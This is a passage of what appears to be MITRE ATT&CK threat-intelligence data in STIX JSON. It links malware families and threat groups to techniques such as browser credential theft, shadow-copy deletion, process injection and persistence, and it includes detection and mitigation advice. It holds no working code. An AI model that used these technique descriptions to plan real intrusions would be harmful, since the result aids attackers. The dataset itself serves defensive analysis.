"2022-04-09T15:47:12.392Z", "relationship_type": "uses", "source_ref": "malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f082a4e1-b454-4528-9470-a2799215b235", "type": "relationship", "created": "2019-03-11T19:24:08.175Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. 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Retrieved April 10, 2019.", "source_name": "Baumgartner Naikon 2015"}], "modified": "2019-04-10T15:59:09.273Z", "description": "(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f0963c9d-076b-41a5-8034-a10f3cbaf657", "type": "relationship", "created": "2022-03-30T14:26:51.874Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.874Z", "description": "Monitor for the activation or invocation of a container (ex: docker start or docker restart)", "source_ref": "x-mitre-data-component--5fe82895-28e5-4aac-845e-dc886b63be2e", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f0966da3-d23d-4949-99d6-ddc680f4a5f3", "created": "2022-10-13T16:35:26.209Z", "revoked": false, "external_references": [{"source_name": "Korean FSI TA505 2020", "description": "Financial Security Institute. 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Retrieved August 4, 2021."}], "modified": "2021-10-16T01:24:29.274Z", "description": "[EnvyScout](https://attack.mitre.org/software/S0634) has used folder icons for malicious files to lure victims into opening them.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f09f6c15-193c-406a-ab64-bf730d83f39f", "type": "relationship", "created": "2020-05-06T15:26:38.799Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert PLEAD Downloader June 2018", "url": "https://blogs.jpcert.or.jp/en/2018/03/malware-tscooki-7aa0.html", "description": "Tomonaga, S. (2018, June 8). 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(n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."}, {"source_name": "NHS Digital Egregor Nov 2020", "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary", "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. 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(2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.463Z", "description": "[Attor](https://attack.mitre.org/software/S0438)'s dispatcher has used CreateProcessW API for execution.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f0a91093-3827-49b0-82c4-a1c882f074cf", "created": "2019-09-24T12:59:58.589Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos ZxShell Oct 2014", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. 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(2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"}], "modified": "2019-04-22T22:31:38.358Z", "description": "[PowerDuke](https://attack.mitre.org/software/S0139) achieves persistence by using various Registry Run keys.(Citation: Volexity PowerDuke November 2016)", "relationship_type": "uses", "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html", "description": "valsmith. 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Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"}], "modified": "2020-03-16T19:09:40.039Z", "description": "[Umbreon](https://attack.mitre.org/software/S0221) creates valid local users to provide access to the system.(Citation: Umbreon Trend Micro)", "relationship_type": "uses", "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f", "target_ref": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f0c53ce3-a265-4da9-a553-c5f2faffa5b8", "type": "relationship", "created": "2019-04-22T22:40:41.125Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/", "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", "source_name": "McAfee GhostSecret"}], "modified": "2019-04-22T22:40:41.125Z", "description": "[Proxysvc](https://attack.mitre.org/software/S0238) can overwrite files indicated by the attacker before deleting them.(Citation: McAfee GhostSecret)", "relationship_type": "uses", "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f0c57085-ccd9-48d1-b35d-1b0f1ba80e96", "created": "2022-10-18T22:49:06.812Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T22:49:06.812Z", "description": "Application developers uploading to public code repositories should be careful to avoid publishing sensitive information such as credentials and API keys.", "relationship_type": "mitigates", "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", "target_ref": "attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f0c94372-2818-46ff-899c-0c57fe0af46a", "type": "relationship", "created": "2019-06-18T17:20:43.730Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black JCry May 2019", "url": "https://www.carbonblack.com/2019/05/14/cb-tau-threat-intelligence-notification-jcry-ransomware-pretends-to-be-adobe-flash-player-update-installer/", "description": "Lee, S.. (2019, May 14). JCry Ransomware. Retrieved June 18, 2019."}], "modified": "2019-06-30T23:03:26.090Z", "description": "[JCry](https://attack.mitre.org/software/S0389) has been observed deleting shadow copies to ensure that data cannot be restored easily.(Citation: Carbon Black JCry May 2019)\t", "relationship_type": "uses", "source_ref": "malware--aaf3fa65-8b27-4e68-91de-2b7738fe4c82", "target_ref": "attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f0cf3ea2-5345-48d7-9685-be0180eb0e4a", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf", "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", "source_name": "ESET RTM Feb 2017"}], "modified": "2020-05-12T22:13:16.669Z", "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain information about process integrity levels.(Citation: ESET RTM Feb 2017)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f0d218a3-9f7b-4f21-aa4a-34dc25f05b61", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TechNet Netsh", "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.", "url": "https://technet.microsoft.com/library/bb490939.aspx"}, {"source_name": "TechNet Netsh Firewall", "description": "Microsoft. (2009, June 3). Netsh Commands for Windows Firewall. Retrieved April 20, 2016.", "url": "https://technet.microsoft.com/en-us/library/cc771046(v=ws.10).aspx"}], "modified": "2020-03-28T01:00:55.119Z", "description": "[netsh](https://attack.mitre.org/software/S0108) can be used to discover system firewall settings.(Citation: TechNet Netsh)(Citation: TechNet Netsh Firewall)", "relationship_type": "uses", "source_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f0d8c9a9-48bb-4369-9631-f33fe2aa189e", "type": "relationship", "created": "2022-03-26T03:47:58.881Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mythc Documentation", "url": "https://docs.mythic-c2.net/", "description": "Thomas, C. (n.d.). Mythc Documentation. Retrieved March 25, 2022."}], "modified": "2022-03-26T03:47:58.881Z", "description": "[Mythic](https://attack.mitre.org/software/S0699) supports domain fronting via custom request headers.(Citation: Mythc Documentation)\t", "relationship_type": "uses", "source_ref": "tool--d505fc8b-2e64-46eb-96d6-9ef7ffca5b66", "target_ref": "attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f0dd2703-4846-47b5-a8d8-471f70f9968e", "created": "2019-06-24T19:15:06.328Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro Trickbot Nov 2018", "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/"}, {"source_name": "Cyberreason Anchor December 2019", "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.", "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"}, {"source_name": "Bitdefender Trickbot VNC module Whitepaper 2021", "description": "Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot\u2019s Ever-Improving VNC Module. Retrieved September 28, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:45:32.497Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using [esentutl](https://attack.mitre.org/software/S0404).(Citation: Trend Micro Trickbot Nov 2018)(Citation: Cyberreason Anchor December 2019)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f0df2494-6465-4bd1-9a57-7d93666bba4c", "created": "2024-03-29T12:39:48.593Z", "revoked": false, "external_references": [{"source_name": "Obfuscated scripts", "description": "Microsoft. (2024, March 4). Attack surface reduction rules reference. Retrieved March 29, 2024.", "url": "https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide#block-execution-of-potentially-obfuscated-scripts"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T12:39:48.593Z", "description": "On Windows 10+, enable Attack Surface Reduction (ASR) rules to block execution of potentially obfuscated scripts.(Citation: Obfuscated scripts)\n\nSecurity tools should be configured to analyze the encoding properties of files and detect anomalies that deviate from standard encoding practices.", "relationship_type": "mitigates", "source_ref": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f0e2c414-9356-4eb6-89d5-fe1afb62780f", "created": "2021-11-22T15:58:09.274Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE PRESIDENT December 2019", "description": "Counter Threat Unit Research Team. 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(2018, June 8). TA505 shifts with the times. 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(2020, May 18). Netwalker Fileless Ransomware Injected via Reflective Loading . Retrieved May 26, 2020."}], "modified": "2020-06-08T16:07:36.281Z", "description": "The [Netwalker](https://attack.mitre.org/software/S0457) DLL has been injected reflectively into the memory of a legitimate running process.(Citation: TrendMicro Netwalker May 2020)\t", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f10beefd-2bc1-4657-9c55-0ee28905b9ac", "created": "2022-10-05T16:13:50.041Z", "revoked": false, "external_references": [{"source_name": "BlackBerry CostaRicto November 2020", "description": "The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021.", "url": "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-05T16:13:50.041Z", "description": "[CostaBricks](https://attack.mitre.org/software/S0614) has used a number of API calls, including `VirtualAlloc`, `VirtualFree`, `LoadLibraryA`, `GetProcAddress`, and `ExitProcess`.(Citation: BlackBerry CostaRicto November 2020) ", "relationship_type": "uses", "source_ref": "malware--5d342981-5194-41e7-b33f-8e91998d7d88", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f1122ac6-d8f4-43d4-9102-0a41db245b69", "created": "2022-08-24T14:50:57.994Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Proofpoint Bumblebee April 2022", "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming", "description": "Merriman, K. and Trouerbach, P. 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Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can uninstall its loader through the use of a `Sdl` command.(Citation: Proofpoint Bumblebee April 2022)", "modified": "2022-08-24T14:50:57.994Z", "relationship_type": "uses", "source_ref": "malware--04378e79-4387-468a-a8f7-f974b8254e44", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f1183695-42c7-4d17-81b3-18d3fdd8822a", "created": "2022-01-25T15:21:10.089Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point APT35 CharmPower January 2022", "url": "https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/", "description": "Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CharmPower](https://attack.mitre.org/software/S0674) has the ability to enumerate `Uninstall` registry values.(Citation: Check Point APT35 CharmPower January 2022)", "modified": "2022-04-08T18:47:34.526Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f11ab582-8ea8-4ed7-9b1e-2b31dce390da", "type": "relationship", "created": "2020-12-11T16:17:16.696Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}], "modified": "2020-12-11T16:17:16.696Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has utilized tools to capture mouse movements.(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f120a700-dcac-4c8d-8e92-d6ba3491c2ba", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "CISA AR18-352A Quasar RAT December 2018", "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A", "description": "CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}, {"source_name": "Volexity Patchwork June 2018", "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018."}], "x_mitre_deprecated": false, "revoked": false, "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.(Citation: Volexity Patchwork June 2018)(Citation: CISA AR18-352A Quasar RAT December 2018)", "modified": "2022-08-02T16:01:23.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--f12643cb-1ff8-49b9-a57e-38246a46c428", "created": "2022-08-15T16:46:28.550Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason StrifeWater Feb 2022", "url": "https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations", "description": "Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[StrifeWater](https://attack.mitre.org/software/S1034) can download updates and auxiliary modules.(Citation: Cybereason StrifeWater Feb 2022)", "modified": "2022-08-15T16:46:28.550Z", "relationship_type": "uses", "source_ref": "malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1286eda-5b9a-4fd9-a506-bcc3b2870550", "type": "relationship", "created": "2020-03-17T19:02:00.669Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", "source_name": "Cybereason Astaroth Feb 2019"}], "modified": "2020-03-17T19:02:00.669Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) spawns a CMD process to execute commands. (Citation: Cybereason Astaroth Feb 2019)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f12b1234-4eb8-4b3d-8b84-50df8dfa8df9", "created": "2023-03-14T17:48:56.379Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T18:26:42.303Z", "description": "Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10+ to analyze commands after being processed/interpreted. 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Retrieved July 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[CreepySnail](https://attack.mitre.org/software/S1024) can execute `getUsername` on compromised systems.(Citation: Microsoft POLONIUM June 2022)", "modified": "2022-07-25T16:19:32.107Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--d23de441-f9cf-4802-b1ff-f588a11a896b", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f13b18fe-1596-453f-8dba-43cfa848a5e7", "created": "2022-09-26T15:23:34.962Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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Retrieved July 10, 2018.", "source_name": "TrendMicro Patchwork Dec 2017"}], "modified": "2019-07-11T13:53:06.123Z", "description": "(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", "target_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--f1459bdf-06ae-435a-8506-1e8e444a410b", "type": "relationship", "created": "2020-06-01T15:46:47.646Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). 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(2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. 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(2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Flagpro](https://attack.mitre.org/software/S0696) has been used to run the <code>tasklist</code> command on a compromised system.(Citation: NTT Security Flagpro new December 2021)", "modified": "2022-04-13T20:29:55.189Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--592260fb-dd5c-4a30-8d99-106a0485be0d", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--f1598913-b99f-456a-84ae-17777091e2ef", "created": "2024-02-23T20:45:04.199Z", "revoked": false, "external_references": [{"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. (2022, August 18). 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Retrieved April 5, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used Putty Secure Copy Client (PSCP) to transfer data.(Citation: PWC Cloud Hopper April 2017)", "modified": "2022-07-20T20:07:40.186Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 